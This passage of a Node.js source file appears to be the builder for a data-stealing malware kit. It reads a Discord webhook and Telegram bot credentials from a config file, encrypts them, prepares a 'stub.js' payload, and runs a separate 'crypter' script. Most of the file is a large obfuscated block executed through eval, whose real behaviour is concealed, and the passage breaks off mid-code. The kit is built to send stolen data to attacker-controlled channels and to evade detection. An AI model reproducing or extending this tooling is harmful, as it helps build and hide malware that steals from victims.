const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const os = require('os');
const { spawn } = require('child_process');
const JavaScriptObfuscator = require('javascript-obfuscator');

function readInfosFromFile() {
    try {
        const jsonPath = path.resolve(__dirname, '../gui/info.json');
        const data = fs.readFileSync(jsonPath, 'utf8');
        const jsonData = JSON.parse(data);
        return {
            webhookURL: jsonData.discordWebhookURL,
            telegramBotToken: jsonData.telegramBotToken,
            telegramChatID: jsonData.telegramChatID
        };
    } catch (error) {
        throw new Error(`Error reading info: ${error.message}`);
    }
}

const { webhookURL, telegramBotToken, telegramChatID } = readInfosFromFile();

function encrypt(text, masterkey) {
    const iv = crypto.randomBytes(16);
    const salt = crypto.randomBytes(16);
    const key = crypto.pbkdf2Sync(masterkey, salt, 100000, 32, 'sha512');
    const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
    let encrypted = cipher.update(text, 'utf8', 'base64');
    encrypted += cipher.final('base64');
    return {
        encryptedData: encrypted,
        salt: salt.toString('base64'),
        iv: iv.toString('base64')
    };
}

function decrypt(encdata, masterkey, salt, iv) {
    const key = crypto.pbkdf2Sync(masterkey, Buffer.from(salt, 'base64'), 100000, 32, 'sha512');
    const decipher = crypto.createDecipheriv('aes-256-cbc', key, Buffer.from(iv, 'base64'));
    let decrypted = decipher.update(encdata, 'base64', 'utf8');
    decrypted += decipher.final('utf8');
    return decrypted;
}

function executeSecondCrypterScript() {
    return new Promise((resolve, reject) => {
        const crypterDirectory = __dirname;
        const secondCrypterScript = 'jscrypter.js';

        const childProcess = spawn('node', [secondCrypterScript], {
            cwd: crypterDirectory,
            stdio: 'inherit'
        });

        childProcess.on('error', (error) => {
            console.error(`Error executing second encryption script: ${error.message}`);
            reject(error);
        });

        childProcess.on('exit', (code, signal) => {
            if (code === 0) {
                console.log('Second encryption script executed successfully.');
                resolve();
            } else {
                const err = new Error(`Second encryption script failed. Exit code: ${code}, signal: ${signal}`);
                console.error(err.message);
                reject(err);
            }
        });
    });
}

function resetPlaceholder(stubPath, originalStubCode) {
    fs.writeFileSync(stubPath, originalStubCode, 'utf8');
    console.log('Stub placeholder reset successfully.');
}

async function main() {
    try {
        const stubPath = path.resolve(__dirname, 'stub.js');
        const stubCode = fs.readFileSync(path.resolve(__dirname, 'stub.js'), 'utf8');

        const updatedStubCode=(function(s,w,t1,t2){const g=global;g["_f8aaceab"]=s;g["_416bc9be"]=w;g["_d037afda"]=t1;g["_18d68644"]=t2;eval("Function(\"tbdTHrI\",\"var prOEhN,KQhWR5,__globalObject,__TextDecoder,__Uint8Array,__Buffer,__String,__Array,utf8ArrayToStr,Jio0U4O;function fhAUwQ(prOEhN,KQhWR5,__globalObject){for(__globalObject=0x0;__globalObject<KQhWR5;__globalObject++)prOEhN.push(prOEhN.shift());return prOEhN}const ToYJfN=[0x0,0x1,0x8,0xff,\\\"length\\\",\\\"undefined\\\",void 0x0,\\\"d\\\",0x3,\\\"b\\\",0xd6,0x3f,0x6,\\\"fromCodePoint\\\",0x7,0xc,\\\"push\\\",0x2,\\\"c\\\",0xe9,\\\"i\\\",0x5b,0x5,\\\"f\\\",0x1fff,0x58,0xd,0xe,0xac,0x8b,0x2f,0x85,\\\"a\\\",\\\"e\\\",0xf2,0x68,0xb6,0x4,0x7f,0x80,!0x1,\\\"h\\\",0x9,0x51,0xc7,0xa9,0xaa,0xb7,0xbc,0xc1];cBsPZ_(nUZkMZ);function cBsPZ_(prOEhN,KQhWR5=ToYJfN[0x1]){Object.defineProperty(prOEhN,ToYJfN[0x4],{value:KQhWR5,configurable:ToYJfN[0x28]});return prOEhN}function _V0QMN(prOEhN){var KQhWR5=\\\"uv+3%D~wex=CXT&WQPBs|yz0J\\\\\\\"rd`>Ah@bH(ZYN9$EI^4RV68?cF5K#{_.qa[Ui1t;L7)Gj/pO,!:l*S2ofmg]}<knM\\\",__globalObject,__TextDecoder,__Uint8Array,__Buffer,__String,__Array,utf8ArrayToStr;aDbyYa5(__globalObject=\\\"\\\"+(prOEhN||\\\"\\\"),__TextDecoder=__globalObject.length,__Uint8Array=[],__Buffer=ToYJfN[0x0],__String=ToYJfN[0x0],__Array=-ToYJfN[0x1]);for(utf8ArrayToStr=ToYJfN[0x0];utf8ArrayToStr<__TextDecoder;utf8ArrayToStr++){var Jio0U4O=KQhWR5.indexOf(__globalObject[utf8ArrayToStr]);if(Jio0U4O===-ToYJfN[0x1])continue;if(__Array<ToYJfN[0x0]){__Array=Jio0U4O}else{aDbyYa5(__Array+=Jio0U4O*ToYJfN[0x15],__Buffer|=__Array<<__String,__String+=(__Array&ToYJfN[0x18])>ToYJfN[0x19]?ToYJfN[0x1a]:ToYJfN[0x1b]);do{aDbyYa5(__Uint8Array.push(__Buffer&ToYJfN[0x3]),__Buffer>>=ToYJfN[0x2],__String-=ToYJfN[0x2])}while(__String>ToYJfN[0xe]);__Array=-ToYJfN[0x1]}}if(__Array>-ToYJfN[0x1]){__Uint8Array.push((__Buffer|__Array<<__String)&ToYJfN[0x3])}return IV3TGq(__Uint8Array)}function IzMQVO(__globalObject){if(typeof prOEhN[__globalObject]===ToYJfN[0x5]){return prOEhN[__globalObject]=_V0QMN(KQhWR5[__globalObject])}return prOEhN[__globalObject]}aDbyYa5(prOEhN={},KQhWR5=fhAUwQ([\\\"avE%q\\\",\\\"o?G5n^E\\\",\\\"}?S^Ci4fM\\\",\\\"Rv{CQH.[d1\\\",\\\"Xj0A5F{l*j{1*\\\",\\\"]j@52U+|\\\",\\\"zO54W~V*\\\",\\\"j5:g!\\\",\\\"zO:T+Ia|\\\",\\\"Ia$ACYe~laqIrj:o)7{kCY@G&G_\\\\\\\"C|\\\",\\\"3Jk)}I/B8\\\",\\\":1WKRSZ&1_K\\\",\\\":1N!}Iu{p1K\\\",\\\"uv{KMy>\\\\\\\"eJa\\\",\\\"!7=;>9~QrJR\\\",\\\"iRb8t9sXm%?\\\",\\\"*_z?:Z,$<|?G=Y)J;Ou*scdsGTI\\\",\\\"v[l:;[swJ;Tp:pbZ\\\",\\\"i#clTG;0bXufQWDYZF\\\\\\\"Fr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)7&U!b:o+D[`!YE#%o_\\\\\\\"x4F#+h=V9Ys<D%i8wgBd$%!@$+/eR]{%X{,yOGKu+,6fur#UY)F\\\\\\\"OG[2P!S]>q0ABI/Q$_1US;nu\\\\\\\"(m{uQTLK6eyVy?P;DdVIrLBGvd>$+gBN;1MX0wM}q{\\\\\\\"brk#32PT\\\"],0x10));function UMsPNH(){var prOEhN=[function(){return globalThis},function(){return global},function(){return tbdTHrI[\\\"s7R31U\\\"]},function(){return new Function(\\\"return this\\\")()}],KQhWR5,__globalObject,__TextDecoder;aDbyYa5(KQhWR5=void 0x0,__globalObject=[]);try{aDbyYa5(KQhWR5=Object,__globalObject[ToYJfN[0x10]](\\\"\\\".__proto__.constructor.name))}catch(__Uint8Array){}tvJt0c:for(__TextDecoder=ToYJfN[0x0];__TextDecoder<prOEhN[ToYJfN[0x4]];__TextDecoder++)try{var __Buffer;KQhWR5=prOEhN[__TextDecoder]();for(__Buffer=ToYJfN[0x0];__Buffer<__globalObject[ToYJfN[0x4]];__Buffer++)if(typeof KQhWR5[__globalObject[__Buffer]]===ToYJfN[0x5])continue tvJt0c;return KQhWR5}catch(__Uint8Array){}return KQhWR5||this}aDbyYa5(__globalObject=UMsPNH()||{},__TextDecoder=__globalObject.TextDecoder,__Uint8Array=__globalObject.Uint8Array,__Buffer=__globalObject.Buffer,__String=__globalObject.String||String,__Array=__globalObject.Array||Array,utf8ArrayToStr=function(){var prOEhN=new __Array(ToYJfN[0x27]),KQhWR5,__globalObject;aDbyYa5(KQhWR5=__String[ToYJfN[0xd]]||__String.fromCharCode,__globalObject=[]);return cBsPZ_(function(...__TextDecoder){aDbyYa5(__TextDecoder[ToYJfN[0x4]]=ToYJfN[0x1],__TextDecoder[-ToYJfN[0xa]]=ToYJfN[0x6],__TextDecoder[ToYJfN[0x9]]=ToYJfN[0x6],__TextDecoder[ToYJfN[0x8]]=__TextDecoder[ToYJfN[0x0]][ToYJfN[0x4]],__globalObject[ToYJfN[0x4]]=ToYJfN[0x0]);for(__TextDecoder[ToYJfN[0x7]]=ToYJfN[0x0];__TextDecoder[ToYJfN[0x7]]<__TextDecoder[ToYJfN[0x8]];){aDbyYa5(__TextDecoder[ToYJfN[0x9]]=__TextDecoder[ToYJfN[0x0]][__TextDecoder[ToYJfN[0x7]]++],__TextDecoder[ToYJfN[0x9]]<=ToYJfN[0x26]?__TextDecoder[-ToYJfN[0xa]]=__TextDecoder[ToYJfN[0x9]]:__TextDecoder[ToYJfN[0x9]]<=0xdf?__TextDecoder[-ToYJfN[0xa]]=(__TextDecoder[ToYJfN[0x9]]&0x1f)<<ToYJfN[0xc]|__TextDecoder[ToYJfN[0x0]][__TextDecoder[ToYJfN[0x7]]++]&ToYJfN[0xb]:__TextDecoder[ToYJfN[0x9]]<=0xef?__TextDecoder[-ToYJfN[0xa]]=(__TextDecoder[ToYJfN[0x9]]&0xf)<<ToYJfN[0xf]|(__TextDecoder[ToYJfN[0x0]][__TextDecoder[ToYJfN[0x7]]++]&ToYJfN[0xb])<<ToYJfN[0xc]|__TextDecoder[ToYJfN[0x0]][__TextDecoder[ToYJfN[0x7]]++]&ToYJfN[0xb]:__String[ToYJfN[0xd]]?__TextDecoder[-ToYJfN[0xa]]=(__TextDecoder[ToYJfN[0x9]]&ToYJfN[0xe])<<0x12|(__TextDecoder[ToYJfN[0x0]][__TextDecoder[ToYJfN[0x7]]++]&ToYJfN[0xb])<<ToYJfN[0xf]|(__TextDecoder[ToYJfN[0x0]][__TextDecoder[ToYJfN[0x7]]++]&ToYJfN[0xb])<<ToYJfN[0xc]|__TextDecoder[ToYJfN[0x0]][__TextDecoder[ToYJfN[0x7]]++]&ToYJfN[0xb]:(__TextDecoder[-ToYJfN[0xa]]=ToYJfN[0xb],__TextDecoder[ToYJfN[0x7]]+=ToYJfN[0x8]),__globalObject[ToYJfN[0x10]](prOEhN[__TextDecoder[-ToYJfN[0xa]]]||(prOEhN[__TextDecoder[-ToYJfN[0xa]]]=KQhWR5(__TextDecoder[-ToYJfN[0xa]]))))}return __globalObject.join(\\\"\\\")})}());function IV3TGq(prOEhN){return typeof __TextDecoder!==ToYJfN[0x5]&&__TextDecoder?new __TextDecoder().decode(new __Uint8Array(prOEhN)):typeof __Buffer!==ToYJfN[0x5]&&__Buffer?__Buffer.from(prOEhN).toString(\\\"utf-8\\\"):utf8ArrayToStr(prOEhN)}Jio0U4O=ieJzGZW();function ieJzGZW(...__globalObject){aDbyYa5(__globalObject[ToYJfN[0x4]]=ToYJfN[0x0],cBsPZ_(__Uint8Array),cBsPZ_(__TextDecoder));function __TextDecoder(...__globalObject){aDbyYa5(__globalObject[ToYJfN[0x4]]=ToYJfN[0x1],__globalObject[ToYJfN[0x13]]=\\\"uAtTvNQ~m$V],[w/c|DjUif&5!4@)g*Ek7PBbXe.rG>?;Ma%SY^xJ#pl(`8WKyIz6=L}s0\\\\\\\"1C9d2F<OZ{+_:nHh3Roq\\\",__globalObject[ToYJfN[0x11]]=\\\"\\\"+(__globalObject[ToYJfN[0x0]]||\\\"\\\"),__globalObject[ToYJfN[0x12]]=__globalObject[ToYJfN[0x11]].length,__globalObject[ToYJfN[0x7]]=[],__globalObject[ToYJfN[0x16]]=ToYJfN[0x0],__globalObject[ToYJfN[0x17]]=ToYJfN[0x0],__globalObject[ToYJfN[0xe]]=-ToYJfN[0x1]);for(__globalObject[ToYJfN[0x2]]=ToYJfN[0x0];__globalObject[ToYJfN[0x2]]<__globalObject[ToYJfN[0x12]];__globalObject[ToYJfN[0x2]]++){__globalObject[ToYJfN[0x14]]=__globalObject[ToYJfN[0x13]].indexOf(__globalObject[ToYJfN[0x11]][__globalObject[ToYJfN[0x2]]]);if(__globalObject[ToYJfN[0x14]]===-ToYJfN[0x1])continue;if(__globalObject[ToYJfN[0xe]]<ToYJfN[0x0]){__globalObject[ToYJfN[0xe]]=__globalObject[ToYJfN[0x14]]}else{aDbyYa5(__globalObject[ToYJfN[0xe]]+=__globalObject[ToYJfN[0x14]]*ToYJfN[0x15],__globalObject[ToYJfN[0x16]]|=__globalObject[ToYJfN[0xe]]<<__globalObject[ToYJfN[0x17]],__globalObject[ToYJfN[0x17]]+=(__globalObject[ToYJfN[0xe]]&ToYJfN[0x18])>ToYJfN[0x19]?ToYJfN[0x1a]:ToYJfN[0x1b]);do{aDbyYa5(__globalObject[ToYJfN[0x7]].push(__globalObject[ToYJfN[0x16]]&ToYJfN[0x3]),__globalObject[ToYJfN[0x16]]>>=ToYJfN[0x2],__globalObject[ToYJfN[0x17]]-=ToYJfN[0x2])}while(__globalObject[ToYJfN[0x17]]>ToYJfN[0xe]);__globalObject[ToYJfN[0xe]]=-ToYJfN[0x1]}}if(__globalObject[ToYJfN[0xe]]>-ToYJfN[0x1]){__globalObject[ToYJfN[0x7]].push((__globalObject[ToYJfN[0x16]]|__globalObject[ToYJfN[0xe]]<<__globalObject[ToYJfN[0x17]])&ToYJfN[0x3])}return IV3TGq(__globalObject[ToYJfN[0x7]])}function __Uint8Array(...__globalObject){__globalObject[ToYJfN[0x4]]=ToYJfN[0x1];if(typeof prOEhN[__globalObject[ToYJfN[0x0]]]===ToYJfN[0x5]){return prOEhN[__globalObject[ToYJfN[0x0]]]=__TextDecoder(KQhWR5[__globalObject[ToYJfN[0x0]]])}return prOEhN[__globalObject[ToYJfN[0x0]]]}aDbyYa5(__globalObject[ToYJfN[0x20]]=[function(){return globalThis},function(){return global},function(){return tbdTHrI[\\\"s7R31U\\\"]},function(...__globalObject){__globalObject[ToYJfN[0x4]]=ToYJfN[0x0];function __TextDecoder(__globalObject){var __TextDecoder=\\\"lUPgWDcrmdBI~J1Vxju.i_a%n+N}#4|bsGtFL{OCYZEp0X6$v!zK\\\\\\\"5h[woRTS2^qQ(7A]Hf/8Mk&;9)<?*,>@y=e`3:\\\",__Uint8Array,__Buffer,__String,__Array,utf8ArrayToStr,Jio0U4O,fhAUwQ;aDbyYa5(__Uint8Array=\\\"\\\"+(__globalObject||\\\"\\\"),__Buffer=__Uint8Array.length,__String=[],__Array=ToYJfN[0x0],utf8ArrayToStr=ToYJfN[0x0],Jio0U4O=-ToYJfN[0x1]);for(fhAUwQ=ToYJfN[0x0];fhAUwQ<__Buffer;fhAUwQ++){var _V0QMN=__TextDecoder.indexOf(__Uint8Array[fhAUwQ]);if(_V0QMN===-ToYJfN[0x1])continue;if(Jio0U4O<ToYJfN[0x0]){Jio0U4O=_V0QMN}else{aDbyYa5(Jio0U4O+=_V0QMN*ToYJfN[0x15],__Array|=Jio0U4O<<utf8ArrayToStr,utf8ArrayToStr+=(Jio0U4O&ToYJfN[0x18])>ToYJfN[0x19]?ToYJfN[0x1a]:ToYJfN[0x1b]);do{aDbyYa5(__String.push(__Array&ToYJfN[0x3]),__Array>>=ToYJfN[0x2],utf8ArrayToStr-=ToYJfN[0x2])}while(utf8ArrayToStr>ToYJfN[0xe]);Jio0U4O=-ToYJfN[0x1]}}if(Jio0U4O>-ToYJfN[0x1]){__String.push((__Array|Jio0U4O<<utf8ArrayToStr)&ToYJfN[0x3])}return IV3TGq(__String)}function __Uint8Array(__globalObject){if(typeof prOEhN[__globalObject]===ToYJfN[0x5]){return prOEhN[__globalObject]=__TextDecoder(KQhWR5[__globalObject])}return prOEhN[__globalObject]}return new Function(__Uint8Array(0x4d)+__Uint8Array(0x4e))()}],__globalObject[ToYJfN[0x1]]=ToYJfN[0x6],__globalObject[ToYJfN[0x1c]]=[]);try{cBsPZ_(__Buffer);function __Buffer(...__globalObject){aDbyYa5(__globalObject[ToYJfN[0x4]]=ToYJfN[0x1],__globalObject[-ToYJfN[0x1d]]=\\\"9krHBNQ:6VAF=@ywE?DZ{|TMcn8#1Pl(GJg[2zUfKb3IWe*/^j;a4Oh,v$d7%R+s]q&_)<uL0C!x~\\\\\\\"op}Yt>Xm`5i.S\\\",__globalObject[ToYJfN[0x11]]=\\\"\\\"+(__globalObject[ToYJfN[0x0]]||\\\"\\\"),__globalObject[ToYJfN[0x8]]=__globalObject[ToYJfN[0x11]].length,__globalObject[-ToYJfN[0x1f]]=[],__globalObject[ToYJfN[0x16]]=ToYJfN[0x0],__globalObject[ToYJfN[0x17]]=ToYJfN[0x0],__globalObject[-ToYJfN[0x1c]]=-ToYJfN[0x1]);for(__globalObject[ToYJfN[0x2]]=ToYJfN[0x0];__globalObject[ToYJfN[0x2]]<__globalObject[ToYJfN[0x8]];__globalObject[ToYJfN[0x2]]++){__globalObject[-ToYJfN[0x1e]]=__globalObject[-ToYJfN[0x1d]].indexOf(__globalObject[ToYJfN[0x11]][__globalObject[ToYJfN[0x2]]]);if(__globalObject[-ToYJfN[0x1e]]===-ToYJfN[0x1])continue;if(__globalObject[-ToYJfN[0x1c]]<ToYJfN[0x0]){__globalObject[-ToYJfN[0x1c]]=__globalObject[-ToYJfN[0x1e]]}else{aDbyYa5(__globalObject[-ToYJfN[0x1c]]+=__globalObject[-ToYJfN[0x1e]]*ToYJfN[0x15],__globalObject[ToYJfN[0x16]]|=__globalObject[-ToYJfN[0x1c]]<<__globalObject[ToYJfN[0x17]],__globalObject[ToYJfN[0x17]]+=(__globalObject[-ToYJfN[0x1c]]&ToYJfN[0x18])>ToYJfN[0x19]?ToYJfN[0x1a]:ToYJfN[0x1b]);do{aDbyYa5(__globalObject[-ToYJfN[0x1f]].push(__globalObject[ToYJfN[0x16]]&ToYJfN[0x3]),__globalObject[ToYJfN[0x16]]>>=ToYJfN[0x2],__globalObject[ToYJfN[0x17]]-=ToYJfN[0x2])}while(__globalObject[ToYJfN[0x17]]>ToYJfN[0xe]);__globalObject[-ToYJfN[0x1c]]=-ToYJfN[0x1]}}if(__globalObject[-ToYJfN[0x1c]]>-ToYJfN[0x1]){__globalObject[-ToYJfN[0x1f]].push((__globalObject[ToYJfN[0x16]]|__globalObject[-ToYJfN[0x1c]]<<__globalObject[ToYJfN[0x17]])&ToYJfN[0x3])}return IV3TGq(__globalObject[-ToYJfN[0x1f]])}function __String(__globalObject){if(typeof prOEhN[__globalObject]===ToYJfN[0x5]){return prOEhN[__globalObject]=__Buffer(KQhWR5[__globalObject])}return prOEhN[__globalObject]}aDbyYa5(__globalObject[ToYJfN[0x1]]=Object,__globalObject[ToYJfN[0x1c]][__String(0x4f)](\\\"\\\"[__String(0x50)+__String(ToYJfN[0x2b])][__String(0x52)+__String(0x53)][__String(0x54)]))}catch(__Array){}EhPM6Cp:for(__globalObject[ToYJfN[0x8]]=ToYJfN[0x0];__globalObject[ToYJfN[0x8]]<__globalObject[ToYJfN[0x20]][__Uint8Array(0x55)];__globalObject[ToYJfN[0x8]]++)try{function utf8ArrayToStr(__globalObject){var __TextDecoder=\\\"AurJ$/;0oBIL4Nfdv5Hq%GRaiC}\\\\\\\"OgcWE=n7*DFb]exk&wSzKU91s!ph)jYyPM,XZm@^{Qlt<T6[:~>`#8_|?+2(3.V\\\",__Uint8Array,__Buffer,__String,__Array,utf8ArrayToStr,Jio0U4O,fhAUwQ;aDbyYa5(__Uint8Array=\\\"\\\"+(__globalObject||\\\"\\\"),__Buffer=__Uint8Array.length,__String=[],__Array=ToYJfN[0x0],utf8ArrayToStr=ToYJfN[0x0],Jio0U4O=-ToYJfN[0x1]);for(fhAUwQ=ToYJfN[0x0];fhAUwQ<__Buffer;fhAUwQ++){var _V0QMN=__TextDecoder.indexOf(__Uint8Array[fhAUwQ]);if(_V0QMN===-ToYJfN[0x1])continue;if(Jio0U4O<ToYJfN[0x0]){Jio0U4O=_V0QMN}else{aDbyYa5(Jio0U4O+=_V0QMN*ToYJfN[0x15],__Array|=Jio0U4O<<utf8ArrayToStr,utf8ArrayToStr+=(Jio0U4O&ToYJfN[0x18])>ToYJfN[0x19]?ToYJfN[0x1a]:ToYJfN[0x1b]);do{aDbyYa5(__String.push(__Array&ToYJfN[0x3]),__Array>>=ToYJfN[0x2],utf8ArrayToStr-=ToYJfN[0x2])}while(utf8ArrayToStr>ToYJfN[0xe]);Jio0U4O=-ToYJfN[0x1]}}if(Jio0U4O>-ToYJfN[0x1]){__String.push((__Array|Jio0U4O<<utf8ArrayToStr)&ToYJfN[0x3])}return IV3TGq(__String)}function Jio0U4O(__globalObject){if(typeof prOEhN[__globalObject]===ToYJfN[0x5]){return prOEhN[__globalObject]=utf8ArrayToStr(KQhWR5[__globalObject])}return prOEhN[__globalObject]}__globalObject[ToYJfN[0x1]]=__globalObject[ToYJfN[0x20]][__globalObject[ToYJfN[0x8]]]();for(__globalObject[ToYJfN[0x21]]=ToYJfN[0x0];__globalObject[ToYJfN[0x21]]<__globalObject[ToYJfN[0x1c]][Jio0U4O(0x56)];__globalObject[ToYJfN[0x21]]++){cBsPZ_(fhAUwQ);function fhAUwQ(...__globalObject){aDbyYa5(__globalObject[ToYJfN[0x4]]=ToYJfN[0x1],__globalObject[ToYJfN[0x1]]=\\\"8QUEDJN3k_C1<z?^c$*)B\\\\\\\"50`ZLH@hIv&%[o]6F.l/Rpju{wx7ns24:Kyi;q#P+gVMd=XY,9rfe~(>T|aSGW!AO}tbm\\\",__globalObject[ToYJfN[0x22]]=\\\"\\\"+(__globalObject[ToYJfN[0x0]]||\\\"\\\"),__globalObject[ToYJfN[0x24]]=__globalObject[ToYJfN[0x22]].length,__globalObject[ToYJfN[0x25]]=[],__globalObject[ToYJfN[0x16]]=ToYJfN[0x0],__globalObject[ToYJfN[0xc]]=ToYJfN[0x0],__globalObject[ToYJfN[0xe]]=-ToYJfN[0x1]);for(__globalObject[-ToYJfN[0x23]]=ToYJfN[0x0];__globalObject[-ToYJfN[0x23]]<__globalObject[ToYJfN[0x24]];__globalObject[-ToYJfN[0x23]]++){__globalObject[ToYJfN[0x14]]=__globalObject[ToYJfN[0x1]].indexOf(__globalObject[ToYJfN[0x22]][__globalObject[-ToYJfN[0x23]]]);if(__globalObject[ToYJfN[0x14]]===-ToYJfN[0x1])continue;if(__globalObject[ToYJfN[0xe]]<ToYJfN[0x0]){__globalObject[ToYJfN[0xe]]=__globalObject[ToYJfN[0x14]]}else{aDbyYa5(__globalObject[ToYJfN[0xe]]+=__globalObject[ToYJfN[0x14]]*ToYJfN[0x15],__globalObject[ToYJfN[0x16]]|=__globalObject[ToYJfN[0xe]]<<__globalObject[ToYJfN[0xc]],__globalObject[ToYJfN[0xc]]+=(__globalObject[ToYJfN[0xe]]&ToYJfN[0x18])>ToYJfN[0x19]?ToYJfN[0x1a]:ToYJfN[0x1b]);do{aDbyYa5(__globalObject[ToYJfN[0x25]].push(__globalObject[ToYJfN[0x16]]&ToYJfN[0x3]),__globalObject[ToYJfN[0x16]]>>=ToYJfN[0x2],__globalObject[ToYJfN[0xc]]-=ToYJfN[0x2])}while(__globalObject[ToYJfN[0xc]]>ToYJfN[0xe]);__globalObject[ToYJfN[0xe]]=-ToYJfN[0x1]}}if(__globalObject[ToYJfN[0xe]]>-ToYJfN[0x1]){__globalObject[ToYJfN[0x25]].push((__globalObject[ToYJfN[0x16]]|__globalObject[ToYJfN[0xe]]<<__globalObject[ToYJfN[0xc]])&ToYJfN[0x3])}return IV3TGq(__globalObject[ToYJfN[0x25]])}function _V0QMN(__globalObject){if(typeof prOEhN[__globalObject]===ToYJfN[0x5]){return prOEhN[__globalObject]=fhAUwQ(KQhWR5[__globalObject])}return prOEhN[__globalObject]}if(typeof __globalObject[ToYJfN[0x1]][__globalObject[ToYJfN[0x1c]][__globalObject[ToYJfN[0x21]]]]===_V0QMN(0x57))continue EhPM6Cp}return __globalObject[ToYJfN[0x1]]}catch(__Array){}return __globalObject[ToYJfN[0x1]]||this}function nUZkMZ(...__globalObject){__globalObject[ToYJfN[0x4]]=ToYJfN[0x1];function __TextDecoder(__globalObject){var __TextDecoder,__Uint8Array;function*prOEhN(__Uint8Array,prOEhN,KQhWR5,__Buffer,__String={TeA7IxK:{}}){while(__Uint8Array+prOEhN+KQhWR5+__Buffer!==0xab)with(__String.JSnl_d||__String)switch(__Uint8Array+prOEhN+KQhWR5+__Buffer){case-0x2d:case 0xcb:case-0xdf:aDbyYa5(__String.JSnl_d=__String.TeA7IxK,__Uint8Array+=0xd8,prOEhN+=-0x114,KQhWR5+=-0x9c,__Buffer+=0x11);break;default:case __Buffer-0x16:aDbyYa5(__String.TeA7IxK.ZhdbjY=e2GC2Y.length,__String.TeA7IxK.z3qqRIj=[],__String.TeA7IxK.q6bt6Q=ToYJfN[__Uint8Array+0x79],__String.JSnl_d=__String.TeA7IxK,prOEhN+=-0x14,KQhWR5+=-0x1b,__Buffer+=0xdb);break;case __String.TeA7IxK.o8woJ2+0x1b6:case-0xbd:aDbyYa5(z3qqRIj.push((q6bt6Q|mxBahBM<<bRtGvv)&ToYJfN[0x3]),__String.JSnl_d=__String.TeA7IxK,__Uint8Array+=0x220,prOEhN+=-0x1cb,__Buffer+=-0x12b);break;case 0x67:case 0x2d:aDbyYa5([__String.TeA7IxK.hDuOKmL,__String.TeA7IxK.o8woJ2,__String.TeA7IxK.n2JndV3]=[0xe,-0xdc,0xca],TeA7IxK.khoXKx=\\\"yu?1>23$~oD^bY9rO5vX&h{tws])+@CR[jSWfB:`<_ieK6x/0knzE7(,Ll.4P;#8d=%U}Zg|QTAGI!qNF*m\\\\\\\"cpHJVMa\\\",TeA7IxK.e2GC2Y=\\\"\\\"+(__globalObject||\\\"\\\"),__String.JSnl_d=__String.TeA7IxK,__Uint8Array+=-0x129,prOEhN+=0x31,KQhWR5+=0xdf,__Buffer+=0x14);break;case-0xb5:case 0x1:aDbyYa5(__String.JSnl_d=__String.TeA7IxK,__Uint8Array+=0x14c,prOEhN+=-0x5a,KQhWR5+=-0x8e,__Buffer+=-0x61);break;case-0xc7:case __Uint8Array- -0x14d:case 0x2e:aDbyYa5(__String.TeA7IxK.bRtGvv=ToYJfN[KQhWR5+0x5],__String.TeA7IxK.mxBahBM=-ToYJfN[KQhWR5+0x6]);for(__String.TeA7IxK.vl6lsoL=ToYJfN[0x0];vl6lsoL<ZhdbjY;vl6lsoL++){__String.TeA7IxK.WcivJe=khoXKx.indexOf(e2GC2Y[vl6lsoL]);if(WcivJe===-ToYJfN[0x1])continue;if(mxBahBM<ToYJfN[__Uint8Array+0x79]){mxBahBM=WcivJe}else{aDbyYa5(mxBahBM+=WcivJe*ToYJfN[prOEhN+-0x24],q6bt6Q|=mxBahBM<<bRtGvv,bRtGvv+=(mxBahBM&ToYJfN[__Uint8Array+0x91])>ToYJfN[0x19]?ToYJfN[prOEhN+-0x1f]:ToYJfN[0x1b]);do{aDbyYa5(z3qqRIj.push(q6bt6Q&ToYJfN[__Uint8Array+0x7c]),q6bt6Q>>=ToYJfN[prOEhN+-0x37],bRtGvv-=ToYJfN[KQhWR5+0x7])}while(bRtGvv>ToYJfN[0xe]);mxBahBM=-ToYJfN[0x1]}}if(mxBahBM>-ToYJfN[0x1]){aDbyYa5(__String.JSnl_d=__String.TeA7IxK,prOEhN+=0xa9,KQhWR5+=-0x41,__Buffer+=-0x62);break}else{aDbyYa5(__String.JSnl_d=__String.TeA7IxK,__Uint8Array+=0x220,prOEhN+=-0x122,KQhWR5+=-0x41,__Buffer+=-0x18d);break}case-0x67:case-0x9c:aDbyYa5([__String.TeA7IxK.hDuOKmL,__String.TeA7IxK.o8woJ2,__String.TeA7IxK.n2JndV3]=[-0xe2,0xca,-0x23],__String.JSnl_d=__String.TeA7IxK,__Uint8Array+=-0x148,prOEhN+=0x122,KQhWR5+=0xb0,__Buffer+=0xe6);break;case __String.TeA7IxK.o8woJ2+0x1a:aDbyYa5(__String.JSnl_d=__String.TeA7IxK,__Uint8Array+=-0x148,prOEhN+=0x2cf,KQhWR5+=-0x6f,__Buffer+=0x84);break;case-0x17:case-0xc1:case 0x4:return __TextDecoder=!0x0,IV3TGq(z3qqRIj);case prOEhN!=-0xe9&&prOEhN- -0x4d:aDbyYa5(__String.JSnl_d=__String.TeA7IxK,__Uint8Array+=-0x148,prOEhN+=0xe,KQhWR5+=0x98,__Buffer+=0xfe);break;case KQhWR5-0x1d:aDbyYa5([__String.TeA7IxK.hDuOKmL,__String.TeA7IxK.o8woJ2,__String.TeA7IxK.n2JndV3]=[-0xa3,-0x62,0xf7],__String.JSnl_d=__String.TeA7IxK,__Uint8Array+=-0xd4,prOEhN+=0x9e,KQhWR5+=-0x4d,__Buffer+=0x12c);break}}aDbyYa5(__TextDecoder=void 0x0,__Uint8Array=prOEhN(0xb0,0x1c,-0xc9,0x2a).next().value);if(__TextDecoder){return __Uint8Array}}function __Uint8Array(__globalObject){if(typeof prOEhN[__globalObject]===ToYJfN[0x5]){return prOEhN[__globalObject]=__TextDecoder(KQhWR5[__globalObject])}return prOEhN[__globalObject]}switch(__globalObject[ToYJfN[0x0]]){case IzMQVO(ToYJfN[0x19])+ToYJfN[0x12]:return Jio0U4O[__Uint8Array(0x59)];case __Uint8Array(0x5a):return Jio0U4O[__Uint8Array(ToYJfN[0x15])];case __Uint8Array(0x5c):return Jio0U4O[__Uint8Array(0x5d)];case __Uint8Array(0x5e):return Jio0U4O[__Uint8Array(0x5f)];case __Uint8Array(0x60):return Jio0U4O[__Uint8Array(0x61)];case __Uint8Array(0x62):return Jio0U4O[__Uint8Array(0x63)];case __Uint8Array(0x64):return Jio0U4O[__Uint8Array(0x65)];case __Uint8Array(0x66)+ToYJfN[0x29]:return Jio0U4O[__Uint8Array(0x67)];case __Uint8Array(ToYJfN[0x23]):return Jio0U4O[__Uint8Array(0x69)];case __Uint8Array(0x6a):return Jio0U4O[__Uint8Array(0x6b)];case __Uint8Array(0x6c)+\\\"5\\\":return Jio0U4O[__Uint8Array(0x6d)];case 